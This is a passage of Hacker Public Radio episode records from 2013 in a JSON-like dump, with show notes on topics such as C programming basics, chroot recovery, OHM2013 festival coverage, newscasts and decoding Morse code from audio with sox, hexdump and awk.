      • US\nGovernment War On Hackers Backfires: Now Top Hackers Won't Work With US\nGovernment\n
      • \n
      • Hollywood\nKeeps Censoring Pirate Bay Documentary, Director Outraged\n
      • \n
      • DMCA\nNotices to Search Engines Won’t Mitigate Piracy, Tech Giants Say\n
      • \n
      • Counting\nServers is Hard\n
      • \n
      \n

      Other Headlines:

      \n
        \n
      • Connections\nBetween Michael Hastings, Edward Snowden and Barrett Brown—The War With\nthe Security State
      • \n
      • Snowden: Towards\nan Endgame\n
      • \n
      • Long-lost\nOrson Welles film ‘Too Much Johnson’ turns up in Italy\n
      • \n
      • Monday\nMorning Skeptic: Questioning Authority in the Sprawling Boston Bombing\nCase\n
      • \n
      • Social\nDemocracy For Our Time\n
      • \n
      \n

      Staffed and produced by the TGTM news team, Editorial Selection by\nDeepGeek, views of the story\nauthors reflect their own opinions and not necessarily those of TGTM\nnews.\n

      \n

      News from \"techdirt.com,\" \"eoionline.org,\" \n\"perspectives.mvdirona.com,\"\nand \"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"eff.org\" and \"torrentfreak.com\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \nNews from \"rhrealitycheck.org\" used under terms published on their\nwebsite.
      \nNews from \"lavabit.com\" is an open letter.
      \n

      News from \"fair.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.

      \n

      News from \"thecommandline.net\" used under permission of the Creative\nCommons By-attribution Share-alike license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n\n

      Links

      \n\n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1611,"valid":1}, {"id":1330,"date":"2013-09-06","title":"Programming languages 3 - C","duration":1282,"summary":"A C programming language appetiser","notes":"

      Hi, my name is Garjola and you are listening to a contribution to\nHPR. This is episode 3 of my programming language series and is entitled\n“Getting started with the C programming language”.

      \n

      I am not going to teach you C, but just whet your appetite.

      \n

      1 Intro

      \n
        \n
      • What C is useful for\n
          \n
        • Systems programming
        • \n
        • Number crunching
        • \n
        • Graphics
        • \n
        • Embedded systems\n
            \n
          • Arduino
          • \n
        • \n
      • \n
      • Advantages\n
          \n
        • speed
        • \n
        • fine grained control of the memory management
        • \n
        • close to the metal
        • \n
        • the portable assembly language
        • \n
      • \n
      • Drawbacks\n
          \n
        • fine grained control of the memory management
        • \n
        • close to the metal
        • \n
        • the portable assembly language
        • \n
      • \n
      \n

      2 History of the language

      \n
        \n
      • developed by Ken Thompson and Dennis Ritchie between 1969 and\n1973 at AT&T Bell Labs.

      • \n
      • The origin of C is closely tied to the development of the Unix\noperating system, originally implemented in assembly language on a PDP-7\nby Ritchie and Thompson, incorporating several ideas from colleagues.\nEventually they decided to port the operating system to a PDP-11. B’s\ninability to take advantage of some of the PDP-11’s features, notably\nbyte addressability, led to the development of an early version of\nC.

      • \n
      \n

      3 Uses

      \n

      C is often used for “system programming”, including implementing\noperating systems and embedded system applications, due to a combination\nof desirable characteristics such as code portability and efficiency,\nability to access specific hardware addresses, ability to pun types to\nmatch externally imposed data access requirements, and low run-time\ndemand on system resources. C can also be used for website programming\nusing CGI as a “gateway” for information between the Web application,\nthe server, and the browser. Some reasons for choosing C over\ninterpreted languages are its speed, stability, and near-universal\navailability.

      \n

      One consequence of C’s wide availability and efficiency is that\ncompilers, libraries, and interpreters of other programming languages\nare often implemented in C. The primary implementations of Python\n(CPython), Perl 5, and PHP are all written in C.

      \n

      Due to its thin layer of abstraction and low overhead, C allows\nefficient implementations of algorithms and data structures, which is\nuseful for programs that perform a lot of computations.

      \n

      C is sometimes used as an intermediate language by implementations of\nother languages. This approach may be used for portability or\nconvenience; by using C as an intermediate language, it is not necessary\nto develop machine-specific code generators.

      \n

      C has also been widely used to implement end-user applications, but\nmuch of that development has shifted to newer languages.

      \n

      4 Characteristics of the\nlanguage

      \n
        \n
      • imperative, compiled, static, weakly typed
      • \n
      • structured programming\n
          \n
        • Uses functions but it is not functional, but rather procedural
        • \n
        • control flow if/else, for, while
        • \n
        • curly braces, semi-colons
        • \n
      • \n
      • all parameters are passed by value and references are simulated\nusing pointers
      • \n
      • A program is a function called main
      • \n
      \n

      5 Tooling and environment

      \n
        \n
      • editor
      • \n
      • compiler\n
          \n
        • makefiles for convenience, although higher level tools such as\nautoconf/automake or cmake exist
        • \n
      • \n
      • debugger
      • \n
      • IDEs
      • \n
      • gnu tools for everything\n
          \n
        • emacs, pico, gedit, vi
        • \n
        • gcc, clang
        • \n
        • gnumake
        • \n
        • gdb, xgdb, ddd
        • \n
        • kdevelop
        • \n
      • \n
      \n

      6 Hello World

      \n
      #include <stdio.h>\n\nint main(void) {\n    printf("hello, world\\n");\n    return 0;\n}
      \n

      7 How to make a C program

      \n
        \n
      • Write your main function into a file called myprogram.c
      • \n
      • compile your program\n
          \n
        • gcc -o myprogram myprogram.c
        • \n
      • \n
      • if you use other libraries than C’s standard library, you will need\nto use a linker, like ld
      • \n
      \n

      Examples taken from An\nIntroduction to GCC by Brian J. Gough, foreword by Richard M.\nStallman

      \n

      The classic example program for the C language is Hello World. Here\nis the source code for our version of the program:

      \n
      #include <stdio.h>\n\nint main (void) { printf ("Hello, world!\\n"); return 0; }
      \n

      We will assume that the source code is stored in a file called\n'hello.c'.

      \n

      To compile the file 'hello.c' with gcc, use\nthe following command:

      \n
      $ gcc -Wall hello.c -o hello
      \n

      To run the program, type the path name of the executable like\nthis:

      \n
      $ ./hello\nHello, world!
      \n

      8 Pointers!

      \n

      C supports the use of pointers, a type of reference that records the\naddress or location of an object or function in memory. Pointers can be\ndereferenced to access data stored at the address pointed to, or to\ninvoke a pointed-to function. Pointers can be manipulated using\nassignment or pointer arithmetic. The run-time representation of a\npointer value is typically a raw memory address (perhaps augmented by an\noffset-within-word field), but since a pointer’s type includes the type\nof the thing pointed to, expressions including pointers can be\ntype-checked at compile time.

      \n

      9 The standard library

      \n
        \n
      • just use man!
      • \n
      \n

      On Unix-like systems, the authoritative documentation of the actually\nimplemented API is provided in form of man pages. On most systems, man\npages on standard library functions are in section 3; section 7 may\ncontain some more generic pages on underlying concepts (e.g. man 7\nmath_error in Linux).

      \n
      apropos sqrt | grep \\(3\\)\n\nman 3 sqrt\n\nman 3 qsort history
      \n
        \n
      • the not-so-standard libraries\n
          \n
        • gsl
        • \n
        • gtk
        • \n
        • X
        • \n
      • \n
      \n

      10 Languages of the C family

      \n
        \n
      • C++, ObjectiveC, Java, C#, Go
      • \n
      \n

      11 Resources

      \n\n","hostid":197,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"\"C language\",\"GNU C\",compiler,gcc","version":0,"downloads":1950,"valid":1}, {"id":1331,"date":"2013-09-09","title":"A Tale of Chroot","duration":1067,"summary":"Recovering from a failed Arch upgrade on a VPS using 'chroot'","notes":"

      \nNYbill tells of a recent adventure and misadventure with Chroot.\n

      \n

      \nhttps://library.linode.com/rescue-and-rebuild\n

      ","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"chroot,VPS,Linode,\"Arch Linux\"","version":0,"downloads":1856,"valid":1}, {"id":1332,"date":"2013-09-10","title":"Jingles","duration":323,"summary":"A donation of jingles for HPR","notes":"

      \nDuring OHM2013, we met up with stich and the crew on rainbow island and they were gracious enough to let HPR have a booth in the shade there. He also found some time to send us in some soundbytes (words) to be used for jingles. He says \"It's food for editors and are not production ready jingles (i don't have background sounds). If you need any other rendition, just drop me a line.\"\n

      \n

      \nHe releases them to us under a cc-by license (https://creativecommons.org/licenses/by/3.0/us/).\n

      \n

      \nThe original can be found here https://hackerpublicradio.org/media/sound-effects/the_HPR_jingle_samples_licensed_CC_BY_by_Stitch_at_hack42_dot_nl.aif\n

      \n

      \nRainbow Island at OHM2013: https://ohm2013.org/site/2013/06/07/project-rainbow-island-2500-sqm-of-old-skoolynessism/\n

      ","hostid":254,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OHM2013,\"Rainbow Island\",jingles","version":0,"downloads":1585,"valid":1}, {"id":1333,"date":"2013-09-11","title":"Introduction / How I Got Into Linux","duration":999,"summary":"A first show from a new host describing their journey to Linux","notes":"

      \nThanks for Listening to my first show. I welcome your comments/feedback.\n

      \n

      \nPicture of Mac Classic II: https://imgur.com/etT0uGi\n

      \n

      \nhttps://g33kdad.thestrangeland.net\n

      ","hostid":255,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"\"Mac Classic II\",FreeBSD,Ubuntu","version":0,"downloads":1776,"valid":1}, {"id":1334,"date":"2013-09-12","title":"Open Sourcing Mental Illness - Ed Finkler","duration":8326,"summary":"An interview with Ed Finkler about Mental Health","notes":"
        \n
      • Ed Finkler \n
        \n
      • \n
      • /dev/hell - The Development Hell Podcast
          \n
        • Chris Hartjes and Ed Finkler are trapped in Development Hell. They record their freewheeling, uncensored discussions on programming the web, so future generations can learn from their failures.
        • \n
        • https://devhell.info/
        • \n
        \n
        \n
      • \n
      • Open Sourcing Mental Illness \n
        \n
      • \n
      • Stanford's Sapolsky On Depression in U.S. (Full Lecture) \n
        \n
      • \n
      • Prompt
          \n
        • Prompt is an effort to actually try to help improve the lives of developers, especially those who are affected in any way by things like depression, anxiety, or any other mental illness.
        • \n
        • https://prompt.engineyard.com/
        • \n
        \n
        \n
      • \n
      • Blue Hackers
          \n
        • The objective of this initiative is to make visible that there are many fellow geeks among us who are intimately familiar with depression, anxiety, or bipolar disorder. It helps to know youre not alone. And its not because we're geeks, but because we're human.
        • \n
        • https://bluehackers.org/
        • \n
        \n
        \n
      • \n
      • Paul Fenwick
          \n
        • Adventuretarian. Enjoys Perl, social hacking, mycology, scuba diving, coffee, cycling, FOSS, meeting new people, and talking like a pirate. World famous in NZ.
        • \n
        • https://twitter.com/pjf
        • \n
        \n
        \n
      • \n
      • Welcome to Devpressed
          \n
        • Anxiety, depression, ADHD, OCD, bipolar, schizophrenia... these are far more prevalent in the developer community than you would believe, but we don't talk about it because of the shame. This forum is a place to share our stories, and help our friends.
        • \n
        • https://www.devpressed.com/
        • \n
        \n
        \n
      • \n
      • YOU ARE NOT ALONE Podcast
          \n
        • Weekly online podcast interviews with comedians, artists, friends, and the occasional doctor. All exploring mental illness, trauma, addiction and negative thinking.
        • \n
        • https://mentalpod.com/
        • \n
        \n
        \n
      • \n
      • Stanford University: \n
      • \n
      ","hostid":30,"series":71,"explicit":1,"license":"CC-BY-NC-ND","tags":"\"mental health\",OSMI","version":0,"downloads":1701,"valid":1}, {"id":1335,"date":"2013-09-13","title":"LibreOffice 11 Writer Character Styles","duration":1182,"summary":"Character styles in LibreOffice Writer","notes":"

      Mentioned in the program: https://www.csszengarden.com/

      \n

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1771,"valid":1}, {"id":1336,"date":"2013-09-16","title":"The Rosetta Dream","duration":732,"summary":"A short SciFi story from Julian Neuer","notes":"

      Julian Neuer (https://corianderpause.wordpress.com/) tells his short SciFi story \"The Rosetta Dream\", inspired by the writings of Steven Pinker and Jared Diamond.

      \n

      In the 21st century, the Rosetta Project produced a disk containing 13,000 pages of information about more than 1,500 languages spoken on Earth today and in the recent past.

      \n

      But what happens if the disk is found by our descendants in a very distant future where information is not transmitted by verbal languages anymore?

      \n

      Links:

      \n ","hostid":256,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"story,SciFi","version":0,"downloads":1699,"valid":1}, {"id":1337,"date":"2013-09-17","title":"overdrive","duration":1594,"summary":"An interview with a Sega Genesis developer, oerg866","notes":"

      \nIn this HPR episode sigflup interviews oerg866, a sega genesis developer, about his participation in the creation of the ground-breaking demo, overdrive.\n

      \n

      \nDemo: https://www.pouet.net/prod.php?which=61724\n

      \n

      \nTranscript: https://theadesilva.com/overdrive_interview.txt\n

      \n\t","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"demoscene,genesis,sega,demo,oerg866","version":0,"downloads":1675,"valid":1}, {"id":1338,"date":"2013-09-18","title":"Pumped Pi's","duration":1646,"summary":"A discussion between JRobb and NYbill","notes":"

      \nJRobb and NYbill talk about setting up a Pump.io server on a Raspberry Pi.\n

      \n

      \n\nhttps://jrobb.org/blog/2013/08/01/raspberry-pi-pump-server/\n

      \n

      Editor's Note 2019-02-05: The original link above is now unavailable. However, a copy was saved on the Internet Archive Wayback Machine, and this has been used instead.

      \n","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"Raspberry Pi\",Pump.io","version":0,"downloads":1765,"valid":1}, {"id":1339,"date":"2013-09-19","title":"Legacy Technology: My Victrola","duration":1763,"summary":"A 1917 Victrola demonstrated","notes":"

      I talk about and demonstrate my wonderful 1917 Victrola, purchased\nin Austin, Texas sometime around 1993 from a private individual.

      \n\n\n\n

      Click the thumbnail to see the full picture

      \n\n\n\"Victrola\n

      Victrola - full view

      \n\n\n\"Victrola\n

      Victrola - close up, doors open

      \n\n\n\"Victrola\n

      Victrola - ready to play

      \n\n\n\"Victrola\n

      Victrola - turntable

      \n\n\n\"Victrola\n

      Victrola - turntable and needles

      \n\n\n\"Victrola\n

      Victrola - tins of needles

      \n\n\n\"Victrola\n

      Victrola - information

      \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"Victor Talking Machine Co.\",Victrola,phonograph","version":0,"downloads":1657,"valid":1}, {"id":1340,"date":"2013-09-20","title":"Out and about at OHM 2013","duration":4853,"summary":" Observe, Hack, Make. A five day outdoor international camping festival for hackers and makers","notes":"

      OHM2013

      \n

      \nhttps://ohm2013.org/site/\n

      \n

      \nOHM2013. Observe, Hack, Make. A five day outdoor international camping festival for hackers and makers, and those with an inquisitive mind. On 31st July 2013, 3000 of those minds will descend upon on an unassuming patch of land, at the Geestmerambacht festival grounds, 30km north of Amsterdam.\n

      \n\n

      \nIt is a four year tradition in The Netherlands to hold such an event. In the spirit of WTH, HIP and HAR the latest edition, OHM2013, is a non-commercial community run event. The event happens thanks to the volunteers, all 3000 of them. They will run the network, help people around the site, give talks, hold workshops and be excellent to one another.\n

      \n\n

      The target audience includes free-thinkers, philosophers, activists, geeks, scientists, artists, creative minds and a whole bunch of people interested in lots of interesting stuff.\n

      \n

      Lock Picking

      \n

      \nFirst port of call is a lock picking in a tent. Although lacking modern conveniences like, for example, doors, Nigel and the team has assembled a selection of locks for all levels. For more information contact Nigel Tolley from Discreet Security Solutions: https://www.tenburylocksmiths.co.uk/
      \nFollow @discreetsecure on Twitter\n

      \n

      Rainbow Island

      \n

      \nNext stop \"Rainbow island\" for a chat with Johan, Brenn, Stitch and Joob.
      \nFrom https://ohm2013.org/site/2013/06/07/project-rainbow-island-2500-sqm-of-old-skoolynessism/\n

      \n\n

      \nRainbow Island is possibly the most modest project you'll see at OHM2013. Obviously, in this context, possibly means absolutely, and modest means insane.\n

      \n

      \nThe 2,500 sqm island on field R will be adorned by an immense castle-like structure, with towers that reach five meters into the air. In daylight, you'll see just a marble-white castle. But at night, it turns into an oasis, nay, orgasm of colours, video projections, smoke, and laser-beams.\n

      \n\n

      \nInside the castle, several tents will be raised, containing all kinds of art and entertainment.\n

      \n\n

      \nThe first tent will host vintage pinball and arcade machines. But these are not just for mindless consumerism! There will be a large pinball-repair station, where these old machines can get the TLC they so often need. Bring your multi-meter, spare parts, screwdrivers, and hack away! There will be a number of machines eligible for improvement.\n

      \n\n

      \nThe second pair of tents will contain the complete collection of Awesome Retro, a group of retro-gaming enthusiasts who collect everything regarding gaming, as long as it's over a decade old. You'll find classics like Super Mario Kart and Bomberman, the first editions of Pong and Pac-Man, and a lot of other blasts from the past, which will wrap you like the warm blankets that they are. Besides that, you'll find a fine collection of ultra-high-end Personal Computers, but to year-2000 standards, of course. A game of Quake 1 multiplayer, anyone?\n

      \n\n

      A small and informal stage surrounded by sofas will also be available for competitions and presentations. In the time in between events, this “living room” is free to use as a cosy lounge. Because what better way to enjoy gaming than from a sofa, with friends, whilst eating crisps?\n

      \n

      \n\"Rainbow\n

      \n

      And that is all, you think? Think again, because this is Rainbow Island, where the word “boundary” got scratched from the dictionary!\n

      \n

      \nFirst of all, numerous smaller tents will be put up within the walls of the castle, consisting of the essentials of multi-player retro-gaming: comfy four-seater sofa, game console, great 4-player game, four controllers, a TV… and projector! Yes, the games will be projected on the castle walls, which are semi-transparent, so even people on the outside will be able to enjoy the competitions.\n

      \n

      \nNext, the interiors of the four castle towers are available for all kinds of arts and other projects. These towers are 4 by 4 meters wide, and can be entered at the ground level. You may claim these for your own projects!\n

      \n

      \nOther highlights which are in the process of being perceived –or otherwise prepared– are a life-size model of a CRAY-1 supercomputer, Operation Oversight (a master-control room putting you in the driver's seat of the world's super powers), and of course the results of the Dance Dissect Repurpose competition.\n

      \n

      \nNext we have a chat with Jeff POINCARE who was building a seat shaped like a Cray 1.
      \nCray-1
      \nFrom Wikipedia, the free encyclopedia https://en.wikipedia.org/wiki/Cray-1\nThe Cray-1 was a supercomputer designed, manufactured and marketed by Cray Research. The first Cray-1 system was installed at Los Alamos National Laboratory in 1976 and it went on to become one of the best known and most successful supercomputers in history. The Cray-1's architect was Seymour Cray, the chief engineer was Cray Research co-founder Lester Davis.\n

      \n

      \n\"Picture\n

      \n\n

      BruCON

      \n

      \nFrom: https://2013.brucon.org/index.php/Main_Page
      \nBruCON is an annual security and hacker conference providing two days of an interesting atmosphere for open discussions of critical infosec issues, privacy, information technology and its cultural/technical implications on society. Organized in Belgium, BruCON offers a high quality line up of speakers, security challenges and interesting workshops. BruCON is a conference by and for the security and hacker community. \n

      \n

      The conference tries to create bridges between the various actors active in computer security world, included but not limited to hackers, security professionals, security communities, non-profit organizations, CERTs, students, law enforcement agencies, etc.....\n

      \n

      \nHackers are \"persons who delight in having an intimate understanding of the internal workings of a system, computers and computer networks in particular.\" People who engage in illegal activities like unauthorized entry into computer systems are called crackers and don't have anything to do with hacking. BruCON doesn't promote any illegal activities and behavior. Many hackers today are employed by the security industry and test security software and systems to improve the security of our networks and applications. In addition, for the younger generations, we want to create some awareness and interest in IT students to learn more about IT Security.\n

      \n

      \nTrainings are planned for Sep 24-25, the conference for Sep 26-27. BruCON 2012 will be in the historic center of Ghent, Belgium.\n

      \n

      BlinkenArea

      \n

      \nThen off to the BlinkenArea to learn how to solder under the able eye of Arne Rossius. \n

      \n

      \nWelcome in the BlinkenArea, the portal for \"blinken\" [=flashing/sparkling/blinking] projects. The BlinkenArea is a project group of people who are interested in computers and electronics and in a creative handling of both of it. They attend to the research and operation of flashing projects. In the meantime, more than 60 hard- and software projectes were developed. The group grows constantly and the number of small and big projects rises as well. The major projects have been the pixel room TROIA and the display building bluebox. Detailled information about all projects is available on the page Projects. News are always published in the BlinkenArea Blog.\n

      \n

      Origin and motivation

      \n

      The page BlinkenArea tells you more about history, background and motivation. Apart from realising projects, the BlinkenArea people set their sights on collecting money which is scheduled to flow into public welfare, e.g. by selling own developed assembly kits or campaigns within bigger projects. The attention is focussed on supporting children, fighting against poverty and spreading education. Information about the social engagement of the BlinkenArea people can be found on the page Campaign. The BlinkenArea set further objectives which are listed on the page Goals.\n

      \n

      Contribute

      \n

      Everybody who is interested in our \"blinken\" projects and wants to contribute or support our honorary work is cordially welcomed. We are always looking for software engineers, tinkerer, translators, news editors, designer, musicians (set movies to music), and -- of course -- new projects. If you want to join the BlinkenArea, please visit the page Join. The BlinkenArea runs a Mailinglist and a discussion forum where you can ask questions, join in the conversation or just read along. \n

      \n

      Press

      \n

      Information for journalists and editors is available on the page Press.\n

      \n\n\n

      Sven Hageman

      \n

      \nWhat do you do when the Broadcast tent is about to fall down ? Well you interview the evacuees ! And Sven works for https://www.rednose.nl/ who paid for him to attend.
      \nHe recommends this talk https://programmingisterrible.com/post/56960079370/ohm-2013-a-bad-programmer-talks-about-bad-programming\n

      \n\n

      Debian Maintainer - Tomasz Rybak

      \n\n
      \n# aptitude show python-pytools\nPackage: python-pytools                  \nState: not installed\nVersion: 2011.5-2\nPriority: optional\nSection: python\nMaintainer: Tomasz Rybak \nArchitecture: all\nUncompressed Size: 183 k\nDepends: python2.7 | python2.6, python (>= 2.6.6-7~), python (< 2.8), python-decorator, python-numpy\nDescription: big bag of things supplementing Python standard library\n \nHomepage: https://mathema.tician.de/software/pytools\n
      \n\n

      PyOpenCL

      \n

      \nhttps://mathema.tician.de/software/pyopencl\n

      \n

      PyOpenCL lets you access the OpenCL parallel computation API from Python. Here's what sets PyOpenCL apart:

      \n
        \n
      • Object cleanup tied to lifetime of objects. This idiom, often called RAII in C++, makes it much easier to write correct, leak- and crash-free code.
      • \n
      • Completeness. PyOpenCL puts the full power of OpenCL's API at your disposal, if you wish.
      • \n
      • Convenience. While PyOpenCL's primary focus is to make all of OpenCL accessible, it tries hard to make your life less complicated as it does so--without taking any shortcuts.
      • \n
      • Automatic Error Checking. All OpenCL errors are automatically translated into Python exceptions.
      • \n
      • Speed. PyOpenCL's base layer is written in C++, so all the niceties above are virtually free.
      • \n
      • Helpful, complete documentation and a wiki.
      • \n
      • Liberal licensing (MIT).
      • \n
      \n\n

      PyCUDA

      \n

      \nhttps://mathema.tician.de/software/pycuda\n

      \n

      PyCUDA lets you access Nvidia‘s CUDA parallel computation API from Python. Several wrappers of the CUDA API already exist–so what's so special about PyCUDA?

      \n
        \n
      • Object cleanup tied to lifetime of objects. This idiom, often called RAII in C++, makes it much easier to write correct, leak- and crash-free code. PyCUDA knows about dependencies, too, so (for example) it won't detach from a context before all memory allocated in it is also freed.
      • \n
      • Convenience. Abstractions like pycuda.driver.SourceModule and pycuda.gpuarray.GPUArray make CUDA programming even more convenient than with Nvidia's C-based runtime.
      • \n
      • Completeness. PyCUDA puts the full power of CUDA's driver API at your disposal, if you wish.
      • \n
      • Automatic Error Checking. All CUDA errors are automatically translated into Python exceptions.
      • \n
      • Speed. PyCUDA's base layer is written in C++, so all the niceties above are virtually free.
      • \n
      • Helpful Documentation.
      • \n
      \n

      EMF Camp

      \n

      \nAlec Wright (https://m0tei.co.uk/) and Chris Munroe (@chrismunro40x) make the mistake of giving me a leaflet.\n

      \n

      \nElectromagnetic Field (EMF) is a non-profit UK camping festival for those with an inquisitive mind or an\ninterest in making things: hackers, geeks, scientists, engineers, artists, and crafters.

      \n

      \nIn the summer of 2012 we gathered hundreds of people in a field outside Milton Keynes for three days of\ntalks and workshops covering everything from genetic modification to electronics, blacksmithing\nto high-energy physics, reverse engineering to lock picking, computer security to\ncrocheting, and quadcopters to beer brewing.\n

      \n

      \nTo help matters along, we arranged a 380-megabit internet connection, reliable WiFi, and a bar stocked with real ale.\n

      \n

      \n@emfcamp | facebook: \nhttps://www.facebook.com/emfcamp\n

      \n\n

      Irish HackerSpaces

      \n

      \nFirst we chat with BaconZombie and ?Procie? who are slacking off drinking beer in the tents

      \n\n\n

      Meanwhile Robert Fitzsimons is slaving away in the hardware hacking tent and gives us a rundown of his projects on display.

      \n\n

      Open Garage

      \n

      \nThe \"Open Garage\" is a double garage in Borsbeek, Belgium, some sort of hackerspace, where I host weekly workshops and many of my projects. The garage is open every Thursday evening to everyone who wants to join our community's numerous hacking projects.\n

      \n

      \nJust be excellent to each other (principle #1 out of 1), bring a drink, a project and a friend and we're all set.\n

      \n

      \nI have all the tools and basic stock for elementary wood and metal working. Electronics gear and misc materials are available to tackle various projects. I also run a nano brewery from my garage, try to convert a car to electric, have a printrbot/Wallace++ 3D printer and we are trying to get a professional CNC mill and CNC lathe to work and I want to build a toolset for some DIY biotech, among many other things.\n

      \n

      \nProjects that have been successfully tackled or demoed at the garage are 3D printers and CNCs, a weather balloon, quadcopters, soldering and welding tutorials, a Tesla coil, beer brewing, a compost filtering machine, Arduino and Raspberry Pi projects, a windbelt, a Rubens' tube and many tens of other thingamajigs.\n

      \n

      \nFor those that may be new and interested: There's usually a few technology-minded people that drop by on random Thursday evenings with \"goesting\" to make. Some people bring a project and others bring their skills to collaborate on others' projects. (and there's a lot of nerd talk) If you're into that kind of stuff, feel free to drop by.\n

      \n

      \nIt is NOT required for your skills be on a high level, you are NOT required to contribute knowledge; instead, it is encouraged that everyone LEARNS stuff at our gatherings.\n

      \n

      \nI'd like to push my regulars to RSVP to the events, there's a lot of useful features in Meetup to share all kinds of stuff if you become part of the game ...\n

      \n\n\n\n

      Kerkrade Mini Maker Faire

      \n\n

      Kerkrade Mini Maker Faire is a day of family friendly making, learning, crafting, inventing and tinkering in the Discovery Center Continium.

      \n

      Be inspired by arts, crafts, engineering, science and technology from the Makers of the Euregion.

      \n

      Best of all: there will be many opportunities to get hands on!

      \n

      About Maker Faire:

      \n

      Maker Faire (https://www.makerfaire.com) is the Greatest Show (and Tell) on Earth—a family-friendly showcase of invention, creativity and resourcefulness, and a celebration of the Maker movement. It's a place where people show what they are making, and share what they are learning.\n

      \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"OHM 2013\"","version":0,"downloads":1817,"valid":1}, {"id":1341,"date":"2013-09-23","title":"TGTM Newscast for 2013-08-25","duration":1277,"summary":"A newscast from Talk Geek to Me","notes":"

      DeepGeek & Pokey

      \n

      Here is a news review:

      \n
        \n
      • Jennifer\nHoelzer's Insider's View Of The Administration's Response To NSA\nSurveillance Leaks\n
      • \n
      • WikiLeaks Response to\nManning Statement\n
      • \n
      • Mumbo\nJumbo\n
      • \n
      • Stop-and-Frisk\nRuling and Drug Sentencing Revamp Alter Criminal Justice Landscape\n
      • \n
      • Mobile\nRail Workers Win NLRB Election\n
      • \n
      • Microsoft\nUses DMCA To Block Many Links To Competing Open Office\n
      • \n
      • Pirate\nBay Releases ‘Pirate Browser’ to Thwart Censorship\n
      • \n
      • Yet\nAnother Newspaper Paywall Goes Bust: SF Chronicle Gives Up After Just\nFour Months\n
      • \n
      • Google\nFiber Continues Awful ISP Tradition of Banning “Servers”\n
      • \n
      • Dotcom:\nSurveillance and Copyright Extremism Will Cost United States Dearly\n
      • \n
      \n

      Other Headlines:

      \n
        \n
      • Sigurdur\nThordarson: Wikileak's Babyfaced Traitor\n
      • \n
      • Anonymous’\nSecret Presence In The U.S. Army\n
      • \n
      • Exclusive:\nAfter Multiple Denials, CIA Admits to Snooping on Noam Chomsky\n
      • \n
      • Prostitution\nLaw and the Death of Whores\n
      • \n
      • Email\nservice used by Snowden shuts itself down, warns against using US-based\ncompanies\n
      • \n
      \n

      Staffed and produced by the TGTM news team, Editorial Selection by\nDeepGeek, views of the story\nauthors reflect their own opinions and not necessarily those of TGTM\nnews.\n

      \n

      News from \"techdirt.com,\" \"iww.org,\" \n\"maggiemcneill.wordpress.com,\"\nand \"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com,\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"wlcentral.org\" used under permission of the Creative\nCommons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1607,"valid":1}, {"id":1342,"date":"2013-09-24","title":"Power Tool Drag Racing!","duration":699,"summary":"MrGadgets speaks of an event he has just visited in Kansas City","notes":"","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Make:KC,\"power tool drag racing\"","version":0,"downloads":1587,"valid":1}, {"id":1343,"date":"2013-09-25","title":"Too Clever For Your Own Good","duration":1103,"summary":"laindir uses a computer to translate Morse code from show 1216","notes":"

      Too Clever For Your Own Good

      \n

      This is a story about being so lazy that I'd rather teach the computer to do something than learn how to do it myself. HPR episode 1216 (https://hackerpublicradio.org/eps.php?id=1216) piqued my curiosity, but rather than try to remember my Morse code, I decided I could teach the computer to translate it for me. This episode tells that story.

      \n

      Commands

      \n

      Uncompress the audio

      \nsox hpr1216.ogg hpr1216.wav\n

      Get the format data

      \nsoxi hpr1216.wav\n

      Figure out how long the wav header is so we can skip it

      \nsox -t raw -b 16 -r 44100 -c 1 -e signed-integer /dev/null empty.wav\n

      Dump the audio data in a text format

      \nhexdump -s 44 -v -e '220/2 \"%04x\"' -e '\"\\n\"' hpr1216.wav > hpr1216.hex\n

      Convert values near 0 to spaces so it's easier to parse (at least visually)

      \nsed -e 's/000./    /g' -e 's/fff./    /g' hpr1216.hex > hpr1216.space\n

      Run it through the following awk script to make it readable by morse

      \nawk -f morse.awk hpr1216.space > hpr1216.dot\n

      And the script

      \n\n#morse.awk\n#every line\n{\n        last = this;\n        this = $0 ~ /^ *$/; #220 samples near 0, roughly 20ms of silence\n}\n\n#consecutive lines of silence or sound\nlast == this {\n        duration++;\n}\n\n#sound->silent state transition\n!last && this {\n        if(duration > 10 && duration < 20) #dit is roughly 18 lines or ~360ms\n        {\n                printf \".\";\n        }\n        else if(duration > 30 && duration < 40) #dah is roughly 36 lines, 720ms\n        {\n                printf \"-\";\n        }\n\n        duration = 0;\n}\n\n#silent->sound state transition\nlast && !this {\n        if(duration > 30 && duration < 40) #short gap (letter) is roughly 720ms\n        {\n                printf \"\\n\";\n        }\n        else if(duration > 80) #medium gap (word) is anything over 1600ms\n        {\n                printf \"\\n\\n \";\n        }\n\n        duration = 0;\n}\n\n

      Use morse to decode the translated output

      \nmorse -d < hpr1216.dot > hpr1216.txt\n

      And this is what it looks like

      \n

